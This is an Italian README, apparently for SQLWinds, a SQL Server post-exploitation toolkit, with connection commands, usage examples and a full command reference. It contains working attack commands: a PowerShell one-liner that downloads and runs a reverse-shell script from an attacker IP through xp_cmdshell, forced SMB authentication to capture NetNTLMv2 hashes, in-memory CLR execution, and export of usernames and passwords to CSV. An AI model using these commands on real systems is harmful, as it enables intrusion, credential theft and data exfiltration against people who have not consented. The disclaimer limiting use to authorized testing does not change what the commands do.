
SQLWinds - Toolkit per la valutazione della sicurezza e post-exploitation di SQL Server
Toolkit per la valutazione della sicurezza SQL e post-exploitation
SQLWinds è uno strumento da riga di comando per test di sicurezza ed exploit di Microsoft SQL Server. Offre un ambiente interattivo per analizzare in profondità i server, elevare i privilegi, eseguire attacchi e spostarsi lateralmente attraverso le reti, con comandi specializzati per attività quali l'esecuzione di codice in memoria e l'esplorazione del database SCCM.
Collegamenti rapidi:
--integrated) e delega Kerberos (--kerberos con --user/--pass).xp_cmdshell, CLR, OLE, ecc.).xp_cmdshell, procedure di automazione OLE (sp_oacreate) e integrazione CLR.:memclr).:unc_smb).xp_regread.Il repository include uno script build.bat per una compilazione semplice su Windows:
.\build.bat
L'eseguibile compilato SQLWinds.exe verrà inserito nella directory bin\Release\.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain per script di grandi dimensioniIl comando :plain è essenziale per eseguire script SQL lunghi e multi-riga.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain e premi Invio.:execute per eseguire l'intero script oppure :cancel per annullare.1. Audit
SQLWinds.exe --server dc01 --integrated --security-audit
2. Sfruttare xp_cmdshell per l'esecuzione di codice
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. Esecuzione CLR in memoria (fileless)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. Furto di hash NetNTLMv2 tramite SRelay
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. Sfruttamento del database SCCM
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. Esfiltrazione di dati
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
Accogliamo con piacere i contributi! Se hai idee per miglioramenti o trovi problemi:
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è illegale. Gli sviluppatori declinano ogni responsabilità e non sono responsabili di eventuali usi impropri o danni causati da questo programma.
Sviluppato da blue0x1.
| Opzione | Descrizione |
|---|
--server | Server di destinazione (IP, hostname, istanza). Obbligatorio. |
--user, --pass | Credenziali per l'autenticazione SQL o Windows. |
--integrated | Usa il token Windows corrente per l'autenticazione. |
--kerberos | Usa il flusso di autenticazione Kerberos. |
--spn-check | Controlla in AD gli SPN per l'host di destinazione. |
--run-cmd "<SQL>" | Esegue un singolo comando SQL e termina. |
--run-file file.sql | Esegue uno script SQL da file e termina. |
--info | Raccoglie e mostra informazioni estese sul server. |
--getinstance | Scopre le istanze SQL nel dominio e termina. |
--list-dbs | Elenca i database e termina. |
--security-audit | Esegue un audit di sicurezza e termina. |
| Comando | Descrizione | Esempio |
|---|
:info | Mostra informazioni dettagliate sul server | :info |
:dbs | Elenca tutti i database con dettagli | :dbs |
:tables [db] [schema] | Elenca le tabelle nel database/schema | :tables master dbo |
:columns <table> [schema] [db] | Elenca le colonne di una tabella | :columns Users dbo MyDatabase |
:users | Elenca tutti gli accessi SQL e gli utenti del database | :users |
:perms | Mostra i permessi dell'utente corrente | :perms |
:audit | Esegue un audit della configurazione di sicurezza | :audit |
:search [term] | Cerca dati sensibili | :search password |
:secrets | Estrae potenziali segreti | :secrets |
:services | Mostra gli account di servizio di SQL Server | :services |
:spn | Controlla gli SPN per l'host di destinazione | :spn |
:enable_xp_cmdshell | Abilita xp_cmdshell | :enable_xp_cmdshell |
:disable_xp_cmdshell | Disabilita xp_cmdshell | :disable_xp_cmdshell |
:xp <command> | Esegue un comando del sistema operativo tramite xp_cmdshell | :xp whoami |
:enable_ole | Abilita l'automazione OLE | :enable_ole |
:disable_ole | Disabilita l'automazione OLE | :disable_ole |
:ole_cmd <command> | Esegue un comando del sistema operativo tramite OLE | :ole_cmd "calc.exe" |
:enable_clr | Abilita l'integrazione CLR | :enable_clr |
:disable_clr | Disabilita l'integrazione CLR | :disable_clr |
:deploy-clr <path> | Distribuisce un assembly CLR da file | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | Elenca gli assembly CLR distribuiti | :list-assemblies |
:clr_exec | Esegue un metodo CLR | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | Esegue un assembly CLR dalla memoria | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | Rimuove un assembly CLR | :remove-assembly MyAssembly |
:list_linkservers | Elenca i server collegati (linked server) | :list_linkservers |
:linkrpc <srv> <cmd> | Esegue un comando tramite server collegato | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | Esegue l'impersonificazione di un login SQL | :impersonate sa |
:revert | Ripristina il contesto di sicurezza | :revert |
:agent_job | Gestisce i processi di SQL Agent | :agent_job create MyJob "whoami" |
:ls [path] | Elenca una directory tramite SQL | :ls C:\Windows\Temp |
:unc_smb <path> | Forza l'autenticazione SMB verso UNC | :unc_smb \\192.168.1.100\share |
:plain | Incolla script SQL di grandi dimensioni | (Vedi esempio sotto) |
:regread | Legge un valore di registro | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | Elenca tutti i valori in una chiave | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | Carica un file in una tabella | :upload C:\file.txt MyTable |
:download | Scarica un binario da una query | :download "SELECT file FROM blobs" out.bin |
:exportcsv | Esporta la query in CSV | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | Esporta la query in JSON | :exportjson "SELECT * FROM users" out.json |
:sccm_info | Rileva il database SCCM | :sccm_info |
:sccm_inventory | Mostra l'inventario SCCM | :sccm_inventory |
:sccm_collections | Elenca le raccolte SCCM | :sccm_collections "All Systems" |
:sccm_deployments | Mostra le distribuzioni | :sccm_deployments |
:sccm_clients | Elenca i client | :sccm_clients inactive |
:sccm_audit | Audit di sicurezza SCCM | :sccm_audit |
:sccm_application | Mostra i dettagli dell'applicazione | :sccm_application "Google Chrome" |
help | Mostra la guida | help |
exit | Esce dalla REPL | exit |